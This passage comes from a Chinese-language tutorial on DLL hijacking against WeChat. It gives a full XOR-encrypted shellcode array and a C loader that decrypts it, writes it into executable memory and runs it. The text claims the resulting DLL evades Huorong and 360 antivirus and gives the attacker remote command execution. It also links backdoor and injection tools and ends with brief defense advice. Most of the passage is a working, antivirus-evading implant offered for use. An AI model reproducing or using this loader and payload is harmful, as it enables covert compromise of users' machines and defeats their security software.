   printf("\\x%x", enShellCode2<i>);  //获取第二段加密结果
}
return 0;
}

14.jpg

拷贝结果,替换劫持代码中的shellcode,并在执行函数中将我们的原始shellcode解密出来,核心代码如下:

#define KEY 0x99 //第一段key
unsigned char shellcode[] = "\x65\x71\x10\x99\x99\x99\xf9\x10\x7c\xa8\x4b\xfd\x12\xcb\xa9\x12\xcb\x95\x12\xcb\x8d\x12\xeb\xb1\x96\x2e\xd3\xbf\xa8\x66\xa8\x59\x35\xa5\xf8\xe5\x9b\xb5\xb9\x58\x56\x94\x98\x5e\x7b\x69\xcb\xce\x12\xcb\x89\x12\xdb\xa5\x98\x49\x12\xd9\xe1\x1c\x59\xed\xd3\x98\x49\xc9\x12\xd1\x81\x12\xc1\xb9\x98\x4a\x7a\xa5\xd0\x12\xad\x12\x98\x4f\xa8\x66\xa8\x59\x35\x58\x56\x94\x98\x5e\xa1\x79\xec\x6d\x9a\xe4\x61\xa2\xe4\xbd\xec\x7b\xc1\x12\xc1\xbd\x98\x4a\xff\x12\x95\xd2\x12\xc1\x85\x98\x4a\x12\x9d\x12\x98\x49\x10\xdd\xbd\xbd\xc2\xc2\xf8\xc0\xc3\xc8\x66\x79\xc1\xc6\xc3\x12\x8b\x72\x1f\xc4\xf1\xf7\xfc\xed\x99\xf1\xee\xf0\xf7\xf0\xcd\xf1\xd5\xee\xbf\x9e\x66\x4c\xa8\x66\xce\xce\xce\xce\xce\xf1\xa3\xcf\xe0\x3e\x66\x4c\x70\x1d\x99\x99\x99\xc2\xa8\x50\xc8\xc8\xf3\x9a\xc8\xc8\xf1\x21\xbb\x99\x99\xca\xc9\xf1\xce\x10\x6\x5f\x66\x4c\x72\xe9\xc2\xa8\x4b\xcb\xf1\x99\x9b\xd9\x1d\xcb\xcb\xcb\xca\xcb\xc9\xf1\x72\xcc\xb7\xa2\x66\x4c\x10\x5f\x1a\x5a\xc9\xa8\x66\xce\xce\xf3\x66\xca\xcf\xf1\xb4\x9f\x81\xe2\x66\x4c\x1c\x59\x96\x1d\x5a\x98\x99\x99\xa8\x66\x1c\x6f\xed\x9d\x10\x60\x72\x90\xf1\x33\x5c\x7b\xc4\x66\x4c\x10\x58\xf1\xdc\xb8\xc7\xa8\x66\x4c\xa8\x66\xce\xf3\x9e\xc8\xcf\xc9\xf1\x2e\xce\x79\x92\x66\x4c\x26\x99\xb6\x63\x68\x4b\xae\x7\xd4\x59\x8d\x80\xe2\x62\x68\x72\x80\xba\x62\x68\x72\x81\xf8\x9c\x97\x8d\x46\x20\x3b\x4\x37\x69\xf2\x20\xd2\x84\xf1\x10\x75\xa1\x18\x1f\x7b\xba\xc9\x50\x6f\xca\xf2\xc6\x80\xf5\x30\x37\x2d\x12\x24\xb9\x1e\x5c\x6f\x64\xbf\x8a\xf3\x91\xe2\xc6\xc1\x70\x8a\xe1\x51\x68\x41\xa9\xf9\x42\xd5\xea\xe4\xad\x6b\x17\xe\x30\x63\x9c\x5\x28\x66\x9c\xed\xe\xfb\x59\xa2\x40\x59\x9c\xcd\x4e\x7\xb4\xe9\x72\x3c\x0\x6\x1a\x5f\x28\x14\x6\x6\x6\x53\x53\x2e\x7\x8\x0\x1f\xf\x9\x5d\x5c\x5d\x53\x48\x5a\xa\x1c\xe\x18\x13\x1d\x1a\x1\x4\x17\x52\x53\x2e\x3b\x3b\x2c\x53\x5a\x46\x42\x52\x53\x34\x1\x1c\xd\x1c\x14\x1b\x52\x27\x27\x43\x5e\x5c\x59\x48\x43\x3c\x0\x0\x17\x6\x6\x6\x46\x46\x4d\x58\x5b\x64\x79\x63\xea\xb\x94\xb5\xa6\x94\x6a\x60\x82\xee\xb2\x27\x9d\xa\x16\x15\xf7\x9e\xeb\x16\xd\xd8\x8e\x9d\xd7\xf4\x9f\x79\xf4\x50\x50\x46\x6\x5d\xf\xeb\x78\x11\x5b\x3b\x77\xe3\x31\x23\x10\xa2\x77\x3\x83\x80\x7a\xec\x58\x2e\xdc\x6a\xc3\xe2\x86\xed\xa1\x48\x87\xe4\x59\xf2\x19\x5b\x4e\xb2\x59\x11\x56\x98\xb3\x88\xd2\x34\x73\xda\xb1\x94\x17\x79\xea\xbe\xbd\xfd\xd4\x5f\x1c\x98\x45\x1a\x8f\x3c\x4b\x88\x15\xd8\xeb\xdb\x42\x7e\x83\x88\xb5\xa4\xda\xeb\x33\x74\xed\x89\xe4\x9f\xf6\x6a\x7f\xc4\xd8\xd8\x52\x7a\x89\x98\x19\xa7\xef\xc1\x9c\x9e\x48\xf8\x3f\x7a\xdc\xfa\xca\x4d\xbe\x4d\x7c\xfd\xc2\x2e\x9e\xee\x1\x4c\x18\xa5\x27\x9a\x3f\x4c\x24\xc2\xbd\xcd\x36\xa0\x62\x9\x35\x7a\xaf\x33\x40\x1f\xe3\x51\x27\x41\xa3\xc4\xe2\xe0\x9f\xc8\xbe\x4e\xf5\x47\xb3\xb8\x24\x3b\x9e\x93\xa1\x48\x8d\xf9\xfd\xf5\xf5\x80\x22\x7a\x84\xd4\x98\xc\x7a\xca\x20\x0\x70\x41\x56\xb0\x2d\xbb\x21\x4\xd5\x75\x27\xfb\x10\x41\x4\x90\xd7\x68\x1a\x99\xc6\xc1\x3e\x8d\xbc\x19\x23\x0\x72\x79\x73\x63\x0\x72\x69\x33\x63\x3f\x1a\x31\xd7\x30\x8d\x8d\xbc\xe0\xda\x68\x72\x69\x73\x62\xb1\x23\x3a\xfa\x84\x3f\x1a\x69\x53\x63\x68\x21\x3f\x1b\x71\xfe\xfb\x8b\x8c\xb6\xed\xb2\x1d\xb5\xe8\x6f\x73\xaa\xf6\xa3\x1d\x97\x31\xb0\x8b\xc1\x8f\x96\x8c\x52\x51\x40\x47\x42\x55\x50\x5c\x58\x46\x54\x46\x43\x5a\x47\x63\x7a\x46\x3f\xb";
unsigned char shellcode2[sizeof(shellcode)];

char key[] = "chris"; //第二段key

DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
for (int i = 0; i < sizeof(shellcode) - 501; i++)
{
   shellcode2<i> = shellcode<i> ^ KEY; //解密第一段
}
int j = 0;
for (int i = sizeof(shellcode) - 501; i < sizeof(shellcode) - 1; i++)
{
   if (j == sizeof(key) - 1)j = 0;
   shellcode2<i> = shellcode<i> ^ key[j]; //解密第二段
   j++;
}

LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode2), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpBase, shellcode2, sizeof(shellcode2));
JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
jmp_shellcode();
return 0;
}

15.jpg

此时,我们的DLL编译完成后已经不会被杀软查杀,将DLL放入微信目录中,启动微信:

16.jpg

成功上线,执行命令,火绒与360均无反应。

其他玩法

当然DLL劫持还有很多其他玩法,如利用InjectProc实现自动注入,backdoor-factory免杀结合MSF上线,IAT导入表注入劫持,权限提升等,篇幅有限,这里不作赘述,各位可自行尝试。

工具链接:

InjectProc:https://github.com/secrary/InjectProc/releases
backdoor-factory:https://github.com/secretsquirrel/the-backdoor-factory
IAT:https://pan.baidu.com/s/1w8T5vgfGnIBU2Gkpq1kogQ 提取码:c29j

如何防范DLL劫持

对于DLL劫持漏洞产生的原因,并不能单一的归咎于微软,只能说这是微软的一个“设计缺陷”,要从根本上防御DLL劫持漏洞,除了微软提供的“安全DLL搜索模式”和“KnownDLLs注册表项”机制保护DLL外,开发人员必须要做更多来保护应用程序自身。开发过程中,调用LoadLibrary,LoadLibraryEx等会进行模块加载操作的函数时,使用模块的物理路径作为参数。在程序调用DLL时使用“白名单”+ “签名”进行DLL的验证。 不过即使使用了这些防御措施,DLL劫持漏洞依旧可能会存在,更何况目前很多厂商对于DLL劫持漏洞都是持“忽略”的态度。

参考资料

DLL劫持原理与实践
老树开新花:DLL劫持漏洞新玩法
Dll劫持漏洞详解